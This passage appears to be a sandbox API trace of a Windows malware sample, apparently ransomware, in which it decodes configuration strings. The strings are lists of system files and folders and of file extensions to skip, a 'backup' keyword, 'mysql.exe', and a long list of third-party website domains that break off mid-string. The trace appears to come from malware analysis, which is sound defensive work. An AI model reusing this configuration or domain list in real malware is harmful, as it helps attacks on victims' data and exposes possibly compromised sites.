lpWideCharStr=0x0) returned 8 [0054.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040060, cbMultiByte=-1, lpWideCharStr=0x203fe10, cchWideChar=8 | out: lpWideCharStr="appdata") returned 8 [0054.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040070, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0054.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040070, cbMultiByte=-1, lpWideCharStr=0x203fe28, cchWideChar=8 | out: lpWideCharStr="mozilla") returned 8 [0054.626] HeapCreate (flOptions=0x0, dwInitialSize=0x100000, dwMaximumSize=0x0) returned 0x2b20000 [0054.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0054.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fb88, cbMultiByte=-1, lpWideCharStr=0x20ae968, cchWideChar=13 | out: lpWideCharStr="bootfont.bin") returned 13 [0054.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fba0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0054.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fba0, cbMultiByte=-1, lpWideCharStr=0x20aefe8, cchWideChar=9 | out: lpWideCharStr="boot.ini") returned 9 [0054.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fbb8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fbb8, cbMultiByte=-1, lpWideCharStr=0x20af008, cchWideChar=11 | out: lpWideCharStr="ntuser.dat") returned 11 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fbd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fbd0, cbMultiByte=-1, lpWideCharStr=0x20af028, cchWideChar=12 | out: lpWideCharStr="desktop.ini") returned 12 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fbe8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fbe8, cbMultiByte=-1, lpWideCharStr=0x20ae990, cchWideChar=13 | out: lpWideCharStr="iconcache.db") returned 13 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040080, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040080, cbMultiByte=-1, lpWideCharStr=0x2034450, cchWideChar=6 | out: lpWideCharStr="ntldr") returned 6 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc00, cbMultiByte=-1, lpWideCharStr=0x20ae9b8, cchWideChar=15 | out: lpWideCharStr="ntuser.dat.log") returned 15 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc18, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc18, cbMultiByte=-1, lpWideCharStr=0x20af048, cchWideChar=10 | out: lpWideCharStr="thumbs.db") returned 10 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc30, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc30, cbMultiByte=-1, lpWideCharStr=0x20ae9e0, cchWideChar=13 | out: lpWideCharStr="bootsect.bak") returned 13 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc48, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc48, cbMultiByte=-1, lpWideCharStr=0x20af068, cchWideChar=11 | out: lpWideCharStr="ntuser.ini") returned 11 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0054.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc60, cbMultiByte=-1, lpWideCharStr=0x20af088, cchWideChar=12 | out: lpWideCharStr="autorun.inf") returned 12 [0054.630] HeapCreate (flOptions=0x0, dwInitialSize=0x100000, dwMaximumSize=0x0) returned 0x2c70000 [0054.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc78, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0054.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc78, cbMultiByte=-1, lpWideCharStr=0x20af0a8, cchWideChar=10 | out: lpWideCharStr="themepack") returned 10 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040090, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040090, cbMultiByte=-1, lpWideCharStr=0x2034080, cchWideChar=4 | out: lpWideCharStr="ldf") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400a0, cbMultiByte=-1, lpWideCharStr=0x20340a0, cchWideChar=4 | out: lpWideCharStr="scr") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400b0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400b0, cbMultiByte=-1, lpWideCharStr=0x20340c0, cchWideChar=4 | out: lpWideCharStr="icl") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400c0, cbMultiByte=-1, lpWideCharStr=0x20340e0, cchWideChar=4 | out: lpWideCharStr="386") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400d0, cbMultiByte=-1, lpWideCharStr=0x2034100, cchWideChar=4 | out: lpWideCharStr="cmd") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400e0, cbMultiByte=-1, lpWideCharStr=0x2034120, cchWideChar=4 | out: lpWideCharStr="ani") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20400f0, cbMultiByte=-1, lpWideCharStr=0x2034140, cchWideChar=4 | out: lpWideCharStr="adv") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040100, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040100, cbMultiByte=-1, lpWideCharStr=0x20344f8, cchWideChar=6 | out: lpWideCharStr="theme") returned 6 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040110, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040110, cbMultiByte=-1, lpWideCharStr=0x2034170, cchWideChar=4 | out: lpWideCharStr="msi") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040120, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040120, cbMultiByte=-1, lpWideCharStr=0x2034190, cchWideChar=4 | out: lpWideCharStr="rtp") returned 4 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040130, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040130, cbMultiByte=-1, lpWideCharStr=0x2034510, cchWideChar=8 | out: lpWideCharStr="diagcfg") returned 8 [0054.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fc90, cbMultiByte=-1, lpWideCharStr=0x20af0c8, cchWideChar=9 | out: lpWideCharStr="msstyles") returned 9 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040140, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040140, cbMultiByte=-1, lpWideCharStr=0x20341c0, cchWideChar=4 | out: lpWideCharStr="bin") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040150, cbMultiByte=-1, lpWideCharStr=0x20341e0, cchWideChar=4 | out: lpWideCharStr="hlp") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040160, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040160, cbMultiByte=-1, lpWideCharStr=0x2034200, cchWideChar=4 | out: lpWideCharStr="shs") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040170, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040170, cbMultiByte=-1, lpWideCharStr=0x2034220, cchWideChar=4 | out: lpWideCharStr="nls") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040180, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040180, cbMultiByte=-1, lpWideCharStr=0x2034540, cchWideChar=8 | out: lpWideCharStr="diagcab") returned 8 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040190, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040190, cbMultiByte=-1, lpWideCharStr=0x2034250, cchWideChar=4 | out: lpWideCharStr="ico") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401a0, cbMultiByte=-1, lpWideCharStr=0x2034558, cchWideChar=5 | out: lpWideCharStr="lock") returned 5 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401b0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401b0, cbMultiByte=-1, lpWideCharStr=0x2034280, cchWideChar=4 | out: lpWideCharStr="ocx") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401c0, cbMultiByte=-1, lpWideCharStr=0x20342a0, cchWideChar=4 | out: lpWideCharStr="mpa") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401d0, cbMultiByte=-1, lpWideCharStr=0x20342c0, cchWideChar=4 | out: lpWideCharStr="cur") returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401e0, cbMultiByte=-1, lpWideCharStr=0x20342e0, cchWideChar=4 | out: lpWideCharStr="wpx") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fca8, cbMultiByte=-1, lpWideCharStr=0x203f820, cchWideChar=14 | out: lpWideCharStr="deskthemepack") returned 14 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20401f0, cbMultiByte=-1, lpWideCharStr=0x2034300, cchWideChar=4 | out: lpWideCharStr="bat") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040200, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040200, cbMultiByte=-1, lpWideCharStr=0x2034320, cchWideChar=4 | out: lpWideCharStr="rom") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040210, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040210, cbMultiByte=-1, lpWideCharStr=0x2034340, cchWideChar=4 | out: lpWideCharStr="msc") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040220, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040220, cbMultiByte=-1, lpWideCharStr=0x2034360, cchWideChar=4 | out: lpWideCharStr="lnk") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040230, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040230, cbMultiByte=-1, lpWideCharStr=0x2034380, cchWideChar=4 | out: lpWideCharStr="cab") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040240, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040240, cbMultiByte=-1, lpWideCharStr=0x20343a0, cchWideChar=4 | out: lpWideCharStr="spl") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040250, cbMultiByte=-1, lpWideCharStr=0x20343c0, cchWideChar=4 | out: lpWideCharStr="ps1") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040260, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040260, cbMultiByte=-1, lpWideCharStr=0x20343e0, cchWideChar=4 | out: lpWideCharStr="msu") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040270, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040270, cbMultiByte=-1, lpWideCharStr=0x2034820, cchWideChar=4 | out: lpWideCharStr="ics") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040280, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040280, cbMultiByte=-1, lpWideCharStr=0x2034840, cchWideChar=4 | out: lpWideCharStr="key") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040290, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040290, cbMultiByte=-1, lpWideCharStr=0x2034860, cchWideChar=4 | out: lpWideCharStr="msp") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402a0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402a0, cbMultiByte=-1, lpWideCharStr=0x2034880, cchWideChar=4 | out: lpWideCharStr="com") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402b0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402b0, cbMultiByte=-1, lpWideCharStr=0x20348a0, cchWideChar=4 | out: lpWideCharStr="sys") returned 4 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0054.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402c0, cbMultiByte=-1, lpWideCharStr=0x2034588, cchWideChar=8 | out: lpWideCharStr="diagpkg") returned 8 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402d0, cbMultiByte=-1, lpWideCharStr=0x20348d0, cchWideChar=4 | out: lpWideCharStr="cpl") returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402e0, cbMultiByte=-1, lpWideCharStr=0x20348f0, cchWideChar=4 | out: lpWideCharStr="mod") returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x20402f0, cbMultiByte=-1, lpWideCharStr=0x2034910, cchWideChar=4 | out: lpWideCharStr="hta") returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040300, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040300, cbMultiByte=-1, lpWideCharStr=0x2034930, cchWideChar=4 | out: lpWideCharStr="exe") returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040310, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040310, cbMultiByte=-1, lpWideCharStr=0x20345a0, cchWideChar=5 | out: lpWideCharStr="icns") returned 5 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040320, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040320, cbMultiByte=-1, lpWideCharStr=0x2034960, cchWideChar=4 | out: lpWideCharStr="prf") returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040330, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040330, cbMultiByte=-1, lpWideCharStr=0x2034980, cchWideChar=4 | out: lpWideCharStr="dll") returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040340, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040340, cbMultiByte=-1, lpWideCharStr=0x20345b8, cchWideChar=8 | out: lpWideCharStr="nomedia") returned 8 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040350, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040350, cbMultiByte=-1, lpWideCharStr=0x20349b0, cchWideChar=4 | out: lpWideCharStr="idx") returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040360, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0054.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040360, cbMultiByte=-1, lpWideCharStr=0x20349d0, cchWideChar=4 | out: lpWideCharStr="drv") returned 4 [0054.637] HeapCreate (flOptions=0x0, dwInitialSize=0x100000, dwMaximumSize=0x0) returned 0x2ef0000 [0054.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040380, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0054.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2040380, cbMultiByte=-1, lpWideCharStr=0x20345d0, cchWideChar=7 | out: lpWideCharStr="backup") returned 7 [0054.639] HeapCreate (flOptions=0x0, dwInitialSize=0x100000, dwMaximumSize=0x0) returned 0x31b0000 [0054.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fcc0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0054.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x203fcc0, cbMultiByte=-1, lpWideCharStr=0x20af0e8, cchWideChar=10 | out: lpWideCharStr="mysql.exe") returned 10 [0054.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2045e10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20305 [0054.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2045e10, cbMultiByte=-1, lpWideCharStr=0x204ad70, cchWideChar=20305 | out: lpWideCharStr="sochi-okna23.ru;www.blavait.fr;kamin-somnium.de;geoweb.software;www.drbrianhweeks.com;kombi-dress.com;johnkoen.com;prodentalblue.com;transifer.fr;matteoruzzaofficial.com;jax-interim-and-projectmanagement.com;hawaiisteelbuilding.com;www.kausette.com;www.galaniuklaw.com;www.atma.nl;www.piestar.com;www.kerstliedjeszingen.nl;biodentify.ai;endlessrealms.net;condormobile.fr;www.cxcompany.com;www.cascinarosa33.it;awaitspain.com;ultimatelifesource.com;goeppinger-teppichreinigung.de;apmollerpension.com;pilotgreen.com;universelle.fr;www.letterscan.de;www.maxcube24.com.ua;www.sarahspics.co.uk;www.projektparkiet.pl;initconf.com;www.augen-praxisklinik-rostock.de;levelseven.be;triplettabordeaux.fr;gavelmasters.com;www.voetbalhoogeveen.nl;www.dr-vita.de;www.ebible.co;pinthelook.com;www.omnicademy.com;www.slideevents.be;myplaywin3.com;chatterchatterchatter.com;karelinjames.com;www.cap29010.it;www.voice2biz.com;mrkluttz.com;watchsale.biz;www.rs-danmark.dk;rizplakatjaya.com;moira-cristescu.com;www.mazzaropi.com.br;www.eyedoctorda